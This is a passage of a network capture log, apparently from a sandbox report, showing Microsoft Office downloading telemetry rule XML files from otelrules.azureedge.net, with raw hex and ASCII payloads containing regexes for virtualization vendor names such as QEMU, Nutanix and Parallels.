DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:46 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:47 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f87bd39b-701e-0097-59cc-45b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210847Z-1746fd949bd4w8sthC1EWR700400000004k00000000070aa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:46 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210847Z-r1cf579d778t6txphC1EWRsd4400000000vg00000000b9yb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:47 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:46 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:47 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2accf417-001e-0014-64cb-455151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210847Z-1746fd949bd4w8sthC1EWR700400000004mg000000000qty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:47 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:49 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 337dc70d-a01e-0053-5e05-488603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210849Z-r1cf579d778dc6d7hC1EWR2vs8000000013g0000000069dk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:49 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:49 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: f6fadb53-501e-0064-5acb-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210849Z-1746fd949bd6zq92hC1EWRry4800000004s0000000009tkf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:49 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:49 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:49 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8c60988c-801e-00a3-08c1-457cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210849Z-1746fd949bdkw94lhC1EWRxuz400000004v000000000r17c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:49 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:49 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:49 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b51b559c-801e-008c-7fcc-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210849Z-1746fd949bdhk6hphC1EWRaw3c00000004e000000000rqp6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:49 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:49 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:49 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:49 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 90a1454b-001e-0079-3203-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210849Z-r1cf579d778d5zkmhC1EWRk6h80000000100000000000exs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:08:49 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:51 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 09205d62-a01e-0021-3a05-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210851Z-r1cf579d7788pwqzhC1EWRrpd800000000qg00000000562b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:51 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:51 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a215b4dd-e01e-0071-4e03-4808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210851Z-r1cf579d778mvsklhC1EWRkavg00000000sg000000002bt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:51 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:51 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210851Z-r1cf579d778kr8xrhC1EWRfkun00000000x0000000005u5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:51 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:51 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4c7743ed-001e-0082-4b03-485880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210851Z-r1cf579d778d5zkmhC1EWRk6h800000000yg000000003qnw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:51 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 